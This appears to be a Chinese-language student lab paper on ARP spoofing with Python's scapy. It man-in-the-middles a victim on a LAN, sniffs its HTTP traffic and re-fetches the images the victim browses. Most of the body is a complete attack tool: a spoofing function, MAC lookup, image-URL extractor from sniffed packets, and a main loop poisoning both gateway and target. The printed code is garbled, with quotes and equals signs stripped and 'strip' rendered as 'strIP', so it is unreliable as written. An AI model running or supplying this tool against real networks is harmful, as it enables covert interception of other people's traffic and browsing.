摘要本文在模拟网络攻击实验环境中使用Python的scapy模块构造ARP数据包发送给目标机进行ARP欺骗成功实施了中间人攻击然后嗅探局域网内部网络流量截取HTTP协议数据包进行解析初步实现了在被攻击者浏览网页点击图片时实时抓取这些点击的图片的ARP攻防系统功能之一后面可以进一步改进完善ARP攻防系统增加其他网络安全防护的功能。关键字scapyARP中间人攻击python引言在研究网络协议时发现TCP/IP协议栈中很多网络协议标准都有安全缺陷网络攻击比如网络扫描内网渗透流量欺骗等等都和ARP协议有关。本文为了进一步学习理解网络协议的原理过程首先搭建网络实验模拟环境利用Python的scapy模块构造ARP数据包发送给攻击目标机实施ARP欺骗模拟中间人攻击然后嗅探局域网内部网络流量截取HTTP协议数据包进行解析在被攻击者浏览网页点击图片时基本实现了实时抓取这些点击图片的系统功能目标。1系统实现的实验环境和编程开发工具本文实验环境包括一个路由器一台联网的64位Windows 7版本的计算机作为攻击机要对该计算机启用IP转发在注册表定位以下注册表项HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\ Services\Tcpip \Parameters 选择下面的项目IPEnableRouter请指定值为1。Python出于兼容性考虑安装是32位Python 3.7版本另外还有一台VMWARE虚拟机作为被攻击目标机操作系统是64位的Windows 7版本网络连接方式是Host Only。Python第三方库一定要选择开发环境操作系统Python版本相对应的库文件安装使用pip安装时,如果外国网站网速太慢可以访问国内的pipy源时,命令为: pip install 库名XXX.XX -i https://pypi.tuna.tsinghua.edu.cn/simple。下面是本文要用到的各种模块比如ScapyHTTP等所依赖的Python第三方库文件from scapy.all import *import netifacesimport requestsfrom PIL import Imagefrom io import BytesIO2 ARP欺骗和中间人攻击2.1 ARP欺骗原理ARP协议称为地址解析协议是工作在网络层的协议基本任务就是将IP地址转换为MAC地址物理地址。由于网络层IP数据报是根据IP地址确定传送目标而以局域网交换设备传送的是数据帧它们是依靠48位以太网地址MAC地址确定传送目标以太网数据帧的并不能识别32位的IP地址所以在局域网内部的机器要和其他机器进行通信首先就要获取对方的物理地址这就需要ARP协议来实现IP地址转换为物理地址这种对应关系。ARP数据包的详细信息列表如下[1]:图 2-1 ARP数据报文格式ARP协议是一个不安全的协议只要你发送ARP数据包就能修改目标的MAC缓存表基于这种不安全性便能实现ARP欺骗。ARP的攻击原理攻击者冒充网关的身份MAC地址被攻击者发给网关的流量会全部经过攻击者机攻击者冒充被攻击者的身份MAC地址卖家发给被攻击者的流量也会经过攻击者机的手上。被攻击者无法与网关联系导致流量无法到达被攻击者机上而攻击者却能拿到网段所有流量。图 2-2ARP欺骗的攻击示意图2.2 ARP欺骗和中间人攻击的实现使用Python编写ARP欺骗工具思路不断发送修改对方MAC缓存表的ARP数据包[2]。欺骗目标机以太网报头:本机MAC•目标机MAC数据ARP数据包:目标机MAC•目标机IP•操作类型请求或回复都行•本机MAC•网关IP欺骗路由器以太网报头:网关MAC•本机MAC数据ARP数据包:网关MAC•网关IP•操作类型请求或回复都行•本机MAC•目标机IP在scapy模块中ARP是构建ARP数据包的类Ether用来构建以太网数据包构造ARP数据包并加上以太网报头实现ARP欺骗[3]。def ARPspoof(srcMAC,srcIP,dstMAC,dstIP):try:ethEther() #构造以太网数据帧ARPARP( #构造ARP数据帧opis-at, #ARP数据包类型1表示请求2表示回应hwsrcsrcMAC, #源地址网卡地址psrcsrcIP, #源地址IP地址hwdstdstMAC, #目标地址网卡地址pdstdstIP #目标地址IP地址)sendp(eth/ARP,inter2,verbose0) #在第二层发送构造的以太网ARP数据包except Exception as g:print([-]{}.format(g))def getMAC(tgtIP):#调用scapy的getMACbyIP函数获取目标IP的MAC地址。try:tgtMAC getMACbyIP(tgtIP)return tgtMACexcept:print([-]请检查目标IP是否存活)抓取图片的程序实现浏览网页中的图片一般都是向服务器发送一次请求图片的HTTP请求所以我们只需从经过网卡的流量中过滤出TCP协议80端口的HTTP协议数据包将数据包的头部层层去掉最后能得到应用层的HTTP数据包再利用正则表达式将http://*.jpg筛选出来即可知道用户到底点击请求了哪些图[4]。下面是截取到的HTTP协议数据包片段GET /images/cn/sjztj/2020/03/27/20200326163723ABC0A947294EEE1ACAC2849ADB80F3B3_s.jpg HTTP/1.1Host: i.weather.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: image/webp,*/*Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2Accept-Encoding: gzIP, deflateConnection: keep-alive下面是抓取图片的Python程序实现代码urllist[] #存放已经访问过的URL防止重复访问图片def getimg(packets): # 实现抓取图片功能global urllistrefererurl #图片的网络资源定位符for pkt in packets: #对截取到的网络流数据包进行解析for p in pkt.payload.payload.payload.fields_desc:pvalue pkt.payload.payload.getfieldval(p.name)reprval p.i2repr(pkt.payload.payload, pvalue)# 转换成十进制字符串#将筛选出图片的http请求的正则表达式pare.compile(rGET .*?\.jpg|GET .*?\.png|GET .*?\.gif) lre.findall(pa,reprval)if len(l)! 0:fstr(l[0])fnamef.lstrIP(GET )# GET后面有一个空格print(fname) #取得图片的文件名linesstr(reprval).split(r\r\n)print(lines)for line in lines:if Host: in line:#取得图片的完整的URL地址urlhttp://line.split(:)[-1].strIP()fnameif url not in urllist: #防止重复访问图片urllist.append(url)if Referer: in line:refererline.split(:)[-1].strIP()if len(url)!0:#通过URL访问网页中的图片 rrequests.get(url,headers{Referer:referer})imgImage.open(BytesIO(r.content))img.show()#windows环境下显示图片else: #防止重复访问图片pass系统功能的主程序代码实现本文的模拟网络攻击环境路由器网关gateway:192.168.1.1受害者机器target192.168.1.15 本地机器local192.168.1.9。下面的系统功能的主程序代码if __name__ __main__: # targetIP 192.168.1.15 被攻击者的IP地址targetIPinput(请输入攻击目标 IP:)targetMACgetMAC(targetIP)# 被攻击者的MAC地址gatewayIP netifaces.gateways()[default][netifaces.AF_INET][0]# 网关IP地址gatewayMACgetMAC(gatewayIP)# 网关的MAC地址routingNicName netifaces.gateways()[default][netifaces.AF_INET][1]for interface in netifaces.interfaces():if interface routingNicName:#获取本地攻击机的IP地址localIP netifaces.ifaddresses(interface)[netifaces.AF_INET][0][addr]#获取本地机器的MAC地址localMAC netifaces.ifaddresses(interface)[netifaces.AF_LINK][0][addr]print(ARP欺骗攻击前) #显示相关IP地址MAC地址print(网关IP:%s----网关MAC:%s%(gatewayIP,gatewayMAC))print(本地主机IP:%s----本地主机MAC:%s%(localIP,localMAC))print(攻击目标IP:%s----攻击目标MAC:%s%(targetIP,targetMAC))ARPspoof(localMAC,gatewayIP,targetMAC,targetIP) # 欺骗目标机ARPspoof(localMAC,targetIP,gatewayMAC,gatewayIP) #欺骗路由器网关#从经过本地攻击机网卡的流量中过滤tcp80端口的http协议数据包实现抓取图片功能while True:sniff(count 1,filtertcp port 80 and IP host targetIP,prngetimg)2.5 系统欺骗攻击和抓图的功能运行效果ARP欺骗攻击之后从图2-3可以看出路由器网关gateway:192.168.1.1 MAC地址变成和本地攻击机local192.168.1.9的MAC地址一模一样本地攻击机欺骗被攻击机冒充自己是网关成功。图 2-3 实施ARP欺骗攻击的效果图本地机192.168.1.9 实施ARP欺骗攻击之后在被攻击机192.168.1.15上打开网页点击图片在本地机上运行的抓图效果如图2-4可以看到被攻击机发往网关的HTTP协议报被本地攻击机截取相关图片的HTTP请求被解析而后在本地机打开相对应的图片基本实现了抓取第三方屏幕网页图片的功能。图 2-4ARP攻击后实施抓图的效果图结语本文使用Python初步实现了ARP攻击和抓取第三方机器屏幕的效果由于实验环境和程序代码编写的限制系统性能还需要进一步优化以解决能够快速高效抓取和解析网络流量数据包这个系统运行效率问题还有很多功能有待完成。通过这次实验作者对ARP欺骗攻击有了更深的理解后面继续改进完善系统增添更多的网络渗透安全防护功能。参考文献[1] 安徽锋刃科技. 编写Python渗透测试工具之ARP欺骗工具 2019-02-21 [EB/OL] https://blog.csdn.net/xuandao_ahfengren/article/details/87861038[2] 青衫无名. Python写ARP局域网主机存活扫描与ARP欺骗工具 2018-03-15[EB/OL]https://developer.aliyun.com/article/541991[3]傅彬.Python安全编程项目实训教程[M]北京电子工业出版社, 2019[4] LlawLiet. arp协议分析python编程实现arp欺骗 2018-01-23 [EB/OL]https://www.freebuf.com/articles/web/160511.html